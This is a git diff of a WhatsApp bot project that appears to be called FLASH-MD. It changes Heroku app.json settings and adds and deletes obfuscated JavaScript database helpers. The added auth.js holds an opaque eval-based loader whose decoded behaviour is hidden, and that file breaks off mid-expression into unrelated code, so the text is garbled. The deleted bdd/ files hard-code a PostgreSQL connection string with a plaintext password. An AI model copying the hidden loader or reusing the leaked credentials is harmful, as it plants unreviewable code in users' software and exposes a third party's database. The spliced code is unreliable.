"Enable auto view of status updates (on/off)", + "required": false, + "value": "off" + }, + "AUTO_READ_DM": { + "description": "Enable auto-read of direct messages (on/off)", + "required": false, + "value": "off" + }, + "YOUR_LID": { + "description": "Your WhatsApp Lid (used for advanced features or admin control)", + "required": false, + "value": "" }, - "AUTO_READ_MESSAGES": - { - "description":"Put yes if you want the bot to autoread people's messages or else put no", - "value":"no", - "required":false - }, - "AUTO_READ_STATUS": - { - "description":"Your contact status will be read automatically(type yes to active or no to deactive ; don't write in capital letter)", - "value":"yes", - "required":false - }, "AUTO_DOWNLOAD_STATUS": - { - "description":"Your contact status will be download automatically and send to you(type yes to active or no to deactive ; don't write in capital letter)", - "value":"yes", - "required":false - } - , - "PM_PERMIT" : - { - "description":"Other user can't use your bot in pm (type yes to active or no to deactive ; don't write in capital letter)", - "value":"no", - "required":false - } - , - "BOT_NAME" : { - - "description":"put A name for your bot", - "value":"FLASH-MD", - "required":false - - } , - "BOT_MENU_LINKS" : { - - "description":"add one or many link for your bot menu ; eg : url1,url2,url3.....", - "value":"https://telegra.ph/file/dfccbf12397757c321ac4.jpg", - "required":false - - }, - "PUBLIC_MODE": - { - "description":"type yes to put your bot on public mode or no to put it on private mod", - "value":"no", - "required":false - } - , "HEROKU_API_KEY": { - "description": "insert your heroku api-key (this is optionnal)", - "required" :false - }, - "HEROKU_APP_NAME": { - "description": "insert your heroku APP NAME (this is optionnal)", - "required" :false - } - , - "SESSION_ID": - { - "description":"put your session ID, AMKE SURE IT STARTS WITH FLASH-MD-WA-BOT;;;=>", - "value":"", - "required": true - + "description": "Your Heroku API key (for automatic restart or deploy)", + "required": false }, - "OWNER_NAME": - { - - "desc": "Your Name", - "required": false, - "value": "France King" - }, - "OWNER_NUMBER": - { - - "desc": "Your number , dont put '+' and put you area code(exemple of togo '228')", - "required":false, - "value": "254751284190" - }, - "WARN_COUNT": - { - "desc": "this is the limit of warn for warning commandes", - "required": false, - "value": "3" - }, - "CHAT_BOT": - { - "desc": "Put yes to allow the bot to chat with people who text you or put no if you don't want the bot to chat with people", - "required": false, - "value": "no" - }, - "STARTING_BOT_MESSAGE": - { - "description": "if you don't want startting-bot-message put no else put yes", - "required": true, - "value": "yes" - }, - "PRESENCE":{ - "description":"Put online to indicate that you are ever online even if you are not. Put typing to indicate that you are currently typing a message. Put recording to indicate that you are currently recording an audio. Or leave the field blank to indicate your real state.", - "value":"", - "required": false - } - }, - - - "buildpacks": [ - { - "url": "heroku/nodejs" + "HEROKU_APP_NAME": { + "description": "Your Heroku app name", + "required": false }, - - { - "url": "https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest" + "PRESENCE_DM": { + "description": "Bot presence status in DMs (typing, online, recording, paused, offline)", + "required": false, + "value": "typing" }, - { - "url": "https://github.com/clhuang/heroku-buildpack-webp-binaries.git" + "PRESENCE_GROUP": { + "description": "Bot presence status in groups (typing, online, recording, paused, offline)", + "required": false, + "value": "recording" + }, + "timezone": { + "description": "Timezone for scheduling or logging", + "required": false, + "value": "Africa/Nairobi" } - ], - + }, "formation": { - "worker": { - "quantity": 1, - "size": "basic" - } - }, - - "addons":[ + "web": { + "quantity": 1, + "size": "Basic" + } + }, + "addons": [], + "buildpacks": [ { - "plan":"heroku-postgresql" + "url": "heroku/nodejs" } ] } diff --git a/auth.js b/auth.js new file mode 100644 index 00000000..1d785e7a --- /dev/null +++ b/auth.js @@ -0,0 +1,2 @@ + +let kzBtb;!function(){const MZgG=Array.prototype.slice.call(arguments);return eval("(function wbrh(Thuvb){const Tj1vb=fpBtb(Thuvb,L9Qvb(wbrh.toString()));try{let vR3vb=eval(Tj1vb);return vR3vb.apply(null,MZgG);}catch(PeWvb){var rMYvb=(0o203542-67405);while(rMYvb<(0o400135%65565))switch(rMYvb){case (0x30051%0o200024):rMYvb=PeWvb instanceof SyntaxError?(0o400144%0x10021):(0o400137%0x1001E);break;case (0o201774-0x103DA):rMYvb=(0o400153%65572);{console.log(\'Error: the code has been tampered!\');return}break;}throw PeWvb;}function L9Qvb(nHTvb){let H4Lvb=1469633458;var jCOvb=(0o400111%65564);{let L1Itb;while(jCOvb<(0x10500-0o202340)){switch(jCOvb){case (0o600151%0x1001A):jCOvb=(68896-0o206404);{H4Lvb^=(nHTvb.charCodeAt(L1Itb)*(15658734^0O73567354)+nHTvb.charCodeAt(L1Itb>>>(0x4A5D0CE&0O320423424)))^1920121265;}break;case (0o205360-68308):jCOvb=(131173%0o200043);L1Itb++;break;case (262343%0o200052):jCOvb=L1Itb=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(DRytb-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+DRytb);}break;case (0o600077%0x1000A):HWDtb=(0o200372-65761);juGtb++;break;}}}return nzLtb;}function fpBtb(zMttb,bkwtb){zMttb=decodeURI(zMttb);let bm3tb=(0x75bcd15-0O726746425);let DT5tb=\"\";var XgYtb=(0o204242-0x10891);{let zO0tb;while(XgYtb<(0x10F00-0o207340)){switch(XgYtb){case (0o200416-0x100F3):XgYtb=(0o201060-66068);{DT5tb+=String.fromCharCode(zMttb.charCodeAt(zO0tb)^bkwtb.charCodeAt(bm3tb));bm3tb++;var TbTtb=(0o201666-0x103A3);while(TbTtb<(0x300A2%0o200051))switch(TbTtb){case (0o400121%65567):TbTtb=bm3tb>=bkwtb.length?(0O264353757%8):(0o1000267%65572);break;case (0O264353757%8):TbTtb=(0o600223%65572);{bm3tb=(0x21786%3);}break;}}break;case (0o1000333%65583):XgYtb=zO0tb{const _0x2c3674=_0x881442;try{await pool[_0x2c3674(0xf8)]('\x0a\x20\x20\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20alive\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20id\x20serial\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20message\x20text,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lien\x20text\x0a\x20\x20\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20\x20\x20'),console[_0x2c3674(0xf1)]('La\x20table\x20\x27alive\x27\x20a\x20été\x20créée\x20avec\x20succès.');}catch(_0xeb510){console['error'](_0x2c3674(0xfd),_0xeb510);}};function _0x5e6f(_0x43013e,_0x4649b6){const _0x597844=_0x5978();return _0x5e6f=function(_0x5e6f5d,_0x3c78f2){_0x5e6f5d=_0x5e6f5d-0xf1;let _0x2a2792=_0x597844[_0x5e6f5d];return _0x2a2792;},_0x5e6f(_0x43013e,_0x4649b6);}creerTableAlive();async function addOrUpdateDataInAlive(_0x278253,_0xd4551f){const _0x8bc30b=_0x881442,_0x23c38e=await pool[_0x8bc30b(0x104)]();try{const _0x12db34=_0x8bc30b(0xff),_0x99b098=[_0x278253,_0xd4551f];await _0x23c38e['query'](_0x12db34,_0x99b098),console[_0x8bc30b(0xf1)]('Données\x20ajoutées\x20ou\x20mises\x20à\x20jour\x20dans\x20la\x20table\x20\x27alive\x27\x20avec\x20succès.');}catch(_0x31487e){console['error'](_0x8bc30b(0x10a),_0x31487e);}finally{_0x23c38e[_0x8bc30b(0xf2)]();}};async function getDataFromAlive(){const _0x54098c=_0x881442,_0x3680f1=await pool[_0x54098c(0x104)]();try{const _0x4ef67d=_0x54098c(0x103),_0x29bc69=await _0x3680f1[_0x54098c(0xf8)](_0x4ef67d);if(_0x29bc69[_0x54098c(0x108)][_0x54098c(0xfb)]>0x0){const {message:_0x4b9483,lien:_0x519a10}=_0x29bc69[_0x54098c(0x108)][0x0];return{'message':_0x4b9483,'lien':_0x519a10};}else return console[_0x54098c(0xf1)](_0x54098c(0x107)),null;}catch(_0x4828c7){return console[_0x54098c(0xf6)](_0x54098c(0xf4),_0x4828c7),null;}finally{_0x3680f1['release']();}}function _0x5978(){const _0x1b3361=['error','7070319Kxyyvk','query','1434uLnJTU','exports','length','16763990cYNWZr','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27alive\x27:','3RZgKbk','\x0a\x20\x20\x20\x20\x20\x20\x20\x20INSERT\x20INTO\x20alive\x20(id,\x20message,\x20lien)\x0a\x20\x20\x20\x20\x20\x20\x20\x20VALUES\x20(1,\x20$1,\x20$2)\x0a\x20\x20\x20\x20\x20\x20\x20\x20ON\x20CONFLICT\x20(id)\x0a\x20\x20\x20\x20\x20\x20\x20\x20DO\x20UPDATE\x20SET\x20message\x20=\x20excluded.message,\x20lien\x20=\x20excluded.lien;\x0a\x20\x20\x20\x20\x20\x20','882925XstOJp','DATABASE_URL','3304RdpMYF','SELECT\x20message,\x20lien\x20FROM\x20alive\x20WHERE\x20id\x20=\x201','connect','11KHSCFN','8fleAPZ','Aucune\x20donnée\x20trouvée\x20dans\x20la\x20table\x20\x27alive\x27.','rows','992870TlpMlF','Erreur\x20lors\x20de\x20l\x27ajout\x20ou\x20de\x20la\x20mise\x20à\x20jour\x20des\x20données\x20dans\x20la\x20table\x20\x27alive\x27:','202560zotJJX','log','release','1772296rAvDrA','Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20données\x20depuis\x20la\x20table\x20\x27alive\x27:','../set'];_0x5978=function(){return _0x1b3361;};return _0x5978();};module[_0x881442(0xfa)]={'addOrUpdateDataInAlive':addOrUpdateDataInAlive,'getDataFromAlive':getDataFromAlive}; diff --git a/bdd/antibot.js b/bdd/antibot.js deleted file mode 100644 index 1189e5e9..00000000 --- a/bdd/antibot.js +++ /dev/null @@ -1 +0,0 @@ -const _0x7addc3=_0xf060;(function(_0x55e5c3,_0x3b4214){const _0x44de5d=_0xf060,_0x9a8fcc=_0x55e5c3();while(!![]){try{const _0x27ffb4=parseInt(_0x44de5d(0xc5))/0x1+-parseInt(_0x44de5d(0xbd))/0x2+parseInt(_0x44de5d(0xc7))/0x3+parseInt(_0x44de5d(0xb3))/0x4+-parseInt(_0x44de5d(0xaa))/0x5*(-parseInt(_0x44de5d(0xa4))/0x6)+-parseInt(_0x44de5d(0xad))/0x7*(parseInt(_0x44de5d(0xbe))/0x8)+-parseInt(_0x44de5d(0xb8))/0x9*(parseInt(_0x44de5d(0xa6))/0xa);if(_0x27ffb4===_0x3b4214)break;else _0x9a8fcc['push'](_0x9a8fcc['shift']());}catch(_0x232b41){_0x9a8fcc['push'](_0x9a8fcc['shift']());}}}(_0x2916,0x3b62c),require('dotenv')[_0x7addc3(0xc1)]());const {Pool}=require('pg');let s=require(_0x7addc3(0xac));var dbUrl=s['DATABASE_URL']?s[_0x7addc3(0xb4)]:_0x7addc3(0xaf);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);async function createAntibotTable(){const _0x1acdda=_0x7addc3,_0x1e40ac=await pool[_0x1acdda(0xc2)]();try{await _0x1e40ac[_0x1acdda(0xa8)]('\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20antibot\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20jid\x20text\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20etat\x20text,\x0a\x20\x20\x20\x20\x20\x20\x20\x20action\x20text\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20'),console[_0x1acdda(0xa9)](_0x1acdda(0xa7));}catch(_0x2d58fa){console[_0x1acdda(0xbb)]('Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27antibot\x27:',_0x2d58fa);}finally{_0x1e40ac[_0x1acdda(0xb2)]();}}createAntibotTable();async function atbajouterOuMettreAJourJid(_0x2ca4bb,_0x157f44){const _0x2e3124=_0x7addc3,_0x45fa27=await pool[_0x2e3124(0xc2)]();try{const _0x370821=await _0x45fa27[_0x2e3124(0xa8)](_0x2e3124(0xba),[_0x2ca4bb]),_0x1c6d55=_0x370821['rows'][_0x2e3124(0xa5)]>0x0;_0x1c6d55?await _0x45fa27['query'](_0x2e3124(0xb6),[_0x157f44,_0x2ca4bb]):await _0x45fa27['query'](_0x2e3124(0xb0),[_0x2ca4bb,_0x157f44,_0x2e3124(0xab)]),console['log'](_0x2e3124(0xb7)+_0x2ca4bb+_0x2e3124(0xc0));}catch(_0x15ce6a){console['error'](_0x2e3124(0xc3),_0x15ce6a);}finally{_0x45fa27[_0x2e3124(0xb2)]();}};async function atbmettreAJourAction(_0x26d92e,_0x240cce){const _0x3f18cf=_0x7addc3,_0x1033ce=await pool['connect']();try{const _0x44d08d=await _0x1033ce[_0x3f18cf(0xa8)](_0x3f18cf(0xba),[_0x26d92e]),_0x2799dc=_0x44d08d['rows'][_0x3f18cf(0xa5)]>0x0;_0x2799dc?await _0x1033ce[_0x3f18cf(0xa8)](_0x3f18cf(0xb5),[_0x240cce,_0x26d92e]):await _0x1033ce['query'](_0x3f18cf(0xb0),[_0x26d92e,_0x3f18cf(0xb1),_0x240cce]),console[_0x3f18cf(0xa9)](_0x3f18cf(0xae)+_0x26d92e+'\x20dans\x20la\x20table\x20\x27antibot\x27.');}catch(_0x38fe9f){console[_0x3f18cf(0xbb)](_0x3f18cf(0xc6),_0x38fe9f);}finally{_0x1033ce[_0x3f18cf(0xb2)]();}};async function atbverifierEtatJid(_0x51f861){const _0x5809bc=_0x7addc3,_0x3a25f5=await pool[_0x5809bc(0xc2)]();try{const _0x3c18af=await _0x3a25f5[_0x5809bc(0xa8)]('SELECT\x20etat\x20FROM\x20antibot\x20WHERE\x20jid\x20=\x20$1',[_0x51f861]);if(_0x3c18af['rows']['length']>0x0){const _0x5246ed=_0x3c18af['rows'][0x0]['etat'];return _0x5246ed===_0x5809bc(0xbf);}else return![];}catch(_0x25b7f8){return console[_0x5809bc(0xbb)](_0x5809bc(0xbc),_0x25b7f8),![];}finally{_0x3a25f5[_0x5809bc(0xb2)]();}};async function atbrecupererActionJid(_0x16a002){const _0x1d886f=_0x7addc3,_0x24177b=await pool[_0x1d886f(0xc2)]();try{const _0x2cd996=await _0x24177b[_0x1d886f(0xa8)](_0x1d886f(0xc8),[_0x16a002]);if(_0x2cd996['rows'][_0x1d886f(0xa5)]>0x0){const _0xa42282=_0x2cd996[_0x1d886f(0xc4)][0x0]['action'];return _0xa42282;}else return _0x1d886f(0xab);}catch(_0x3aebb1){return console[_0x1d886f(0xbb)](_0x1d886f(0xb9),_0x3aebb1),_0x1d886f(0xab);}finally{_0x24177b[_0x1d886f(0xb2)]();}};module['exports']={'atbmettreAJourAction':atbmettreAJourAction,'atbajouterOuMettreAJourJid':atbajouterOuMettreAJourJid,'atbverifierEtatJid':atbverifierEtatJid,'atbrecupererActionJid':atbrecupererActionJid};function _0xf060(_0x1edae9,_0x164962){const _0x29167c=_0x2916();return _0xf060=function(_0xf060de,_0xd89a2){_0xf060de=_0xf060de-0xa4;let _0x2c6d16=_0x29167c[_0xf060de];return _0x2c6d16;},_0xf060(_0x1edae9,_0x164962);}function _0x2916(){const _0x2c2af4=['DATABASE_URL','UPDATE\x20antibot\x20SET\x20action\x20=\x20$1\x20WHERE\x20jid\x20=\x20$2','UPDATE\x20antibot\x20SET\x20etat\x20=\x20$1\x20WHERE\x20jid\x20=\x20$2','JID\x20','2935485QWDoCK','Erreur\x20lors\x20de\x20la\x20récupération\x20de\x20l\x27action\x20du\x20JID\x20dans\x20la\x20table\x20:','SELECT\x20*\x20FROM\x20antibot\x20WHERE\x20jid\x20=\x20$1','error','Erreur\x20lors\x20de\x20la\x20vérification\x20de\x20l\x27état\x20du\x20JID\x20dans\x20la\x20table\x20','703626PjWfNS','2797672YMYYQC','oui','\x20ajouté\x20ou\x20mis\x20à\x20jour\x20avec\x20succès\x20dans\x20la\x20table\x20\x27antibot\x27.','config','connect','Erreur\x20lors\x20de\x20l\x27ajout\x20ou\x20de\x20la\x20mise\x20à\x20jour\x20du\x20JID\x20dans\x20la\x20table\x20,','rows','375574oXEeBr','Erreur\x20lors\x20de\x20la\x20mise\x20à\x20jour\x20de\x20l\x27action\x20pour\x20le\x20JID\x20dans\x20la\x20table\x20\x20:','455343DMsNHd','SELECT\x20action\x20FROM\x20antibot\x20WHERE\x20jid\x20=\x20$1','6dvtmXl','length','10oZIvXj','La\x20table\x20\x27antibot\x27\x20a\x20été\x20créée\x20avec\x20succès.','query','log','1392655XlNBZQ','supp','../set','7fknnIK','Action\x20mise\x20à\x20jour\x20avec\x20succès\x20pour\x20le\x20JID\x20','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','INSERT\x20INTO\x20antibot\x20(jid,\x20etat,\x20action)\x20VALUES\x20($1,\x20$2,\x20$3)','non','release','1860180ANpXRd'];_0x2916=function(){return _0x2c2af4;};return _0x2916();} \ No newline at end of file diff --git a/bdd/antilien.js b/bdd/antilien.js deleted file mode 100644 index b2ed235a..00000000 --- a/bdd/antilien.js +++ /dev/null @@ -1 +0,0 @@ -const _0xd8d4f3=_0x5e7a;(function(_0x4ed1c1,_0x12cf3a){const _0x5784c5=_0x5e7a,_0x287f92=_0x4ed1c1();while(!![]){try{const _0x439eee=-parseInt(_0x5784c5(0xe0))/0x1+-parseInt(_0x5784c5(0xc8))/0x2*(parseInt(_0x5784c5(0xd2))/0x3)+-parseInt(_0x5784c5(0xe1))/0x4*(parseInt(_0x5784c5(0xdf))/0x5)+-parseInt(_0x5784c5(0xcc))/0x6+parseInt(_0x5784c5(0xc7))/0x7*(parseInt(_0x5784c5(0xbb))/0x8)+parseInt(_0x5784c5(0xc1))/0x9*(parseInt(_0x5784c5(0xca))/0xa)+-parseInt(_0x5784c5(0xc0))/0xb*(-parseInt(_0x5784c5(0xd1))/0xc);if(_0x439eee===_0x12cf3a)break;else _0x287f92['push'](_0x287f92['shift']());}catch(_0x8b9b75){_0x287f92['push'](_0x287f92['shift']());}}}(_0x2ba8,0xb9542),require(_0xd8d4f3(0xcb))[_0xd8d4f3(0xbc)]());const {Pool}=require('pg');let s=require(_0xd8d4f3(0xd6));var dbUrl=s[_0xd8d4f3(0xc9)]?s[_0xd8d4f3(0xc9)]:_0xd8d4f3(0xd9);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);async function createAntilienTable(){const _0x43da6d=_0xd8d4f3,_0x836b76=await pool[_0x43da6d(0xc5)]();try{await _0x836b76['query'](_0x43da6d(0xde)),console[_0x43da6d(0xbe)](_0x43da6d(0xbf));}catch(_0x336f7f){console[_0x43da6d(0xb9)]('Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27antilien\x27:',_0x336f7f);}finally{_0x836b76[_0x43da6d(0xcf)]();}}createAntilienTable();async function ajouterOuMettreAJourJid(_0x55dabb,_0x112bff){const _0x510f22=_0xd8d4f3,_0x5c72e4=await pool[_0x510f22(0xc5)]();try{const _0x5f50db=await _0x5c72e4[_0x510f22(0xc3)](_0x510f22(0xbd),[_0x55dabb]),_0x791161=_0x5f50db['rows'][_0x510f22(0xd7)]>0x0;_0x791161?await _0x5c72e4['query'](_0x510f22(0xba),[_0x112bff,_0x55dabb]):await _0x5c72e4[_0x510f22(0xc3)](_0x510f22(0xd3),[_0x55dabb,_0x112bff,_0x510f22(0xc4)]),console[_0x510f22(0xbe)](_0x510f22(0xc6)+_0x55dabb+_0x510f22(0xce));}catch(_0x262db5){console[_0x510f22(0xb9)]('Erreur\x20lors\x20de\x20l\x27ajout\x20ou\x20de\x20la\x20mise\x20à\x20jour\x20du\x20JID\x20dans\x20la\x20table\x20,',_0x262db5);}finally{_0x5c72e4[_0x510f22(0xcf)]();}};function _0x5e7a(_0x1e30ef,_0x37e7ea){const _0x2ba829=_0x2ba8();return _0x5e7a=function(_0x5e7afb,_0x915322){_0x5e7afb=_0x5e7afb-0xb9;let _0x199363=_0x2ba829[_0x5e7afb];return _0x199363;},_0x5e7a(_0x1e30ef,_0x37e7ea);}async function mettreAJourAction(_0x30b9f9,_0x26a81e){const _0x3960b8=_0xd8d4f3,_0x2ca9b7=await pool[_0x3960b8(0xc5)]();try{const _0x579aed=await _0x2ca9b7['query']('SELECT\x20*\x20FROM\x20antilien\x20WHERE\x20jid\x20=\x20$1',[_0x30b9f9]),_0x11b8a0=_0x579aed[_0x3960b8(0xe3)][_0x3960b8(0xd7)]>0x0;_0x11b8a0?await _0x2ca9b7[_0x3960b8(0xc3)](_0x3960b8(0xd4),[_0x26a81e,_0x30b9f9]):await _0x2ca9b7[_0x3960b8(0xc3)]('INSERT\x20INTO\x20antilien\x20(jid,\x20etat,\x20action)\x20VALUES\x20($1,\x20$2,\x20$3)',[_0x30b9f9,_0x3960b8(0xd0),_0x26a81e]),console[_0x3960b8(0xbe)](_0x3960b8(0xd8)+_0x30b9f9+_0x3960b8(0xd5));}catch(_0x5d2c4b){console['error']('Erreur\x20lors\x20de\x20la\x20mise\x20à\x20jour\x20de\x20l\x27action\x20pour\x20le\x20JID\x20dans\x20la\x20table\x20\x20:',_0x5d2c4b);}finally{_0x2ca9b7[_0x3960b8(0xcf)]();}};async function verifierEtatJid(_0x5001a0){const _0x180c21=_0xd8d4f3,_0x180fd3=await pool[_0x180c21(0xc5)]();try{const _0x47ddb1=await _0x180fd3['query']('SELECT\x20etat\x20FROM\x20antilien\x20WHERE\x20jid\x20=\x20$1',[_0x5001a0]);if(_0x47ddb1['rows'][_0x180c21(0xd7)]>0x0){const _0x5d786a=_0x47ddb1['rows'][0x0][_0x180c21(0xe2)];return _0x5d786a===_0x180c21(0xc2);}else return![];}catch(_0x409974){return console[_0x180c21(0xb9)](_0x180c21(0xdb),_0x409974),![];}finally{_0x180fd3[_0x180c21(0xcf)]();}};async function recupererActionJid(_0x4d728a){const _0x211f50=_0xd8d4f3,_0x5612c4=await pool[_0x211f50(0xc5)]();try{const _0x26b369=await _0x5612c4[_0x211f50(0xc3)](_0x211f50(0xda),[_0x4d728a]);if(_0x26b369['rows'][_0x211f50(0xd7)]>0x0){const _0x5530a6=_0x26b369[_0x211f50(0xe3)][0x0][_0x211f50(0xdd)];return _0x5530a6;}else return _0x211f50(0xc4);}catch(_0x212e68){return console[_0x211f50(0xb9)](_0x211f50(0xcd),_0x212e68),_0x211f50(0xc4);}finally{_0x5612c4[_0x211f50(0xcf)]();}};module[_0xd8d4f3(0xdc)]={'mettreAJourAction':mettreAJourAction,'ajouterOuMettreAJourJid':ajouterOuMettreAJourJid,'verifierEtatJid':verifierEtatJid,'recupererActionJid':recupererActionJid};function _0x2ba8(){const _0x1b95d7=['1865QQsydJ','305404BRQiqQ','11860kwVpmk','etat','rows','error','UPDATE\x20antilien\x20SET\x20etat\x20=\x20$1\x20WHERE\x20jid\x20=\x20$2','394088WSnsxv','config','SELECT\x20*\x20FROM\x20antilien\x20WHERE\x20jid\x20=\x20$1','log','La\x20table\x20\x27antilien\x27\x20a\x20été\x20créée\x20avec\x20succès.','11pwIHEJ','2529evtluL','oui','query','supp','connect','JID\x20','7NAMwKK','550lgPSkQ','DATABASE_URL','29350zmXhyr','dotenv','6195180RyMuPB','Erreur\x20lors\x20de\x20la\x20récupération\x20de\x20l\x27action\x20du\x20JID\x20dans\x20la\x20table\x20:','\x20ajouté\x20ou\x20mis\x20à\x20jour\x20avec\x20succès\x20dans\x20la\x20table\x20\x27antilien\x27.','release','non','31459068yuIQnL','3192pfxNnk','INSERT\x20INTO\x20antilien\x20(jid,\x20etat,\x20action)\x20VALUES\x20($1,\x20$2,\x20$3)','UPDATE\x20antilien\x20SET\x20action\x20=\x20$1\x20WHERE\x20jid\x20=\x20$2','\x20dans\x20la\x20table\x20\x27antilien\x27.','../set','length','Action\x20mise\x20à\x20jour\x20avec\x20succès\x20pour\x20le\x20JID\x20','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','SELECT\x20action\x20FROM\x20antilien\x20WHERE\x20jid\x20=\x20$1','Erreur\x20lors\x20de\x20la\x20vérification\x20de\x20l\x27état\x20du\x20JID\x20dans\x20la\x20table\x20','exports','action','\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20antilien\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20jid\x20text\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20etat\x20text,\x0a\x20\x20\x20\x20\x20\x20\x20\x20action\x20text\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20'];_0x2ba8=function(){return _0x1b95d7;};return _0x2ba8();} diff --git a/bdd/antiword.js b/bdd/antiword.js deleted file mode 100644 index 88b69731..00000000 --- a/bdd/antiword.js +++ /dev/null @@ -1,313 +0,0 @@ -const _0x2389aa = _0x5538; -(function (_0x28f316, _0x458b8d) { - const _0x103725 = _0x5538, _0x2ca6d8 = _0x28f316(); - while (!![]) { - try { - const _0x2bdc1c = parseInt(_0x103725(0x1ba)) / (0x33 * 0x79 + -0x31 * 0x4 + 0x2 * -0xbab) + -parseInt(_0x103725(0x223)) / (-0x1fb6 + -0x24df + 0x4497 * 0x1) + -parseInt(_0x103725(0x233)) / (0x17 * -0x11b + 0x1306 + 0x66a) * (parseInt(_0x103725(0x22a)) / (-0x2377 + 0xac6 + 0x73 * 0x37)) + parseInt(_0x103725(0x235)) / (0x407 * -0x1 + 0x5 * -0x389 + 0x15b9) * (-parseInt(_0x103725(0x1e8)) / (0x1315 + 0x1 * 0x1473 + 0xd * -0x30a)) + -parseInt(_0x103725(0x20f)) / (0x1 * 0x97b + 0x17 * 0x3 + -0x9b9 * 0x1) * (-parseInt(_0x103725(0x1b8)) / (-0x11a * -0x3 + 0x17 * -0x7d + 0x7f5)) + -parseInt(_0x103725(0x22f)) / (-0x11c1 * -0x1 + 0x7 * -0x4ed + 0x1 * 0x10c3) + -parseInt(_0x103725(0x1af)) / (-0x1f26 + -0x2 * 0x8b2 + 0x3094) * (-parseInt(_0x103725(0x1e6)) / (0x124e + 0x10a5 + -0x22e8)); - if (_0x2bdc1c === _0x458b8d) - break; - else - _0x2ca6d8['push'](_0x2ca6d8['shift']()); - } catch (_0x16f978) { - _0x2ca6d8['push'](_0x2ca6d8['shift']()); - } - } -}(_0x3842, 0xaae6d + 0x11e * -0x3d4 + 0x115 * 0x376), require(_0x2389aa(0x1b4))[_0x2389aa(0x218)]()); -const {Pool} = require('pg'); -let s = require(_0x2389aa(0x1b3)); -var dbUrl = s[_0x2389aa(0x22c) + 'RL'] ? s[_0x2389aa(0x22c) + 'RL'] : _0x2389aa(0x1d3) + _0x2389aa(0x1c5) + _0x2389aa(0x1e3) + _0x2389aa(0x1c3) + _0x2389aa(0x1a8) + _0x2389aa(0x1db) + _0x2389aa(0x202) + _0x2389aa(0x1d0) + _0x2389aa(0x20c) + _0x2389aa(0x1ef) + _0x2389aa(0x1ed) + _0x2389aa(0x1b1); -const proConfig = { - 'connectionString': dbUrl, - 'ssl': { 'rejectUnauthorized': ![] } - }, pool = new Pool(proConfig); -async function createAntiwordTable() { - const _0x16b597 = _0x2389aa, _0x27e7fe = { - 'moLtF': _0x16b597(0x1cb) + _0x16b597(0x1ce) + _0x16b597(0x1c8) + _0x16b597(0x1c9) + _0x16b597(0x1e4), - 'tDRlj': _0x16b597(0x1fa) + _0x16b597(0x229) + _0x16b597(0x1e2) + _0x16b597(0x217) + _0x16b597(0x1d1) + _0x16b597(0x222) + _0x16b597(0x1a5) - }, _0xbf8eb1 = await pool[_0x16b597(0x1ea)](); - try { - await _0xbf8eb1[_0x16b597(0x212)](_0x16b597(0x21a) + _0x16b597(0x1a2) + _0x16b597(0x1f3) + _0x16b597(0x1bd) + _0x16b597(0x1fe) + _0x16b597(0x1df) + _0x16b597(0x1f2) + _0x16b597(0x20d) + _0x16b597(0x1c0) + _0x16b597(0x1dd)), console[_0x16b597(0x20b)](_0x27e7fe[_0x16b597(0x211)]); - } catch (_0x215810) { - console[_0x16b597(0x1a3)](_0x27e7fe[_0x16b597(0x231)], _0x215810); - } finally { - _0xbf8eb1[_0x16b597(0x1a7)](); - } -} -createAntiwordTable(); -async function ajouterOuMettreAJourJid(_0x2274dd, _0x246ba0) { - const _0x8d7190 = _0x2389aa, _0xd3ca6f = { - 'zTTie': _0x8d7190(0x234) + _0x8d7190(0x232) + _0x8d7190(0x1a1) + _0x8d7190(0x1f4), - 'rIaJt': function (_0x602d6d, _0x372c93) { - return _0x602d6d > _0x372c93; - }, - 'tQsIN': _0x8d7190(0x1fb) + _0x8d7190(0x1f8) + _0x8d7190(0x208) + _0x8d7190(0x224) + _0x8d7190(0x205), - 'fgell': _0x8d7190(0x206) + _0x8d7190(0x1f7) + _0x8d7190(0x209) + _0x8d7190(0x1c4) + _0x8d7190(0x21d) + _0x8d7190(0x221), - 'qRAFz': _0x8d7190(0x1cc), - 'ldKzP': _0x8d7190(0x1aa) + _0x8d7190(0x200) + _0x8d7190(0x1ff) + _0x8d7190(0x1e0) + _0x8d7190(0x1d8) + _0x8d7190(0x1d7) + _0x8d7190(0x22b) - }, _0x25496a = await pool[_0x8d7190(0x1ea)](); - try { - const _0x47467e = await _0x25496a[_0x8d7190(0x212)](_0xd3ca6f[_0x8d7190(0x1f9)], [_0x2274dd]), _0x439fd4 = _0xd3ca6f[_0x8d7190(0x1d4)](_0x47467e[_0x8d7190(0x236)][_0x8d7190(0x1e5)], 0x6c + 0x18ca + -0xe * 0x1cd); - _0x439fd4 ? await 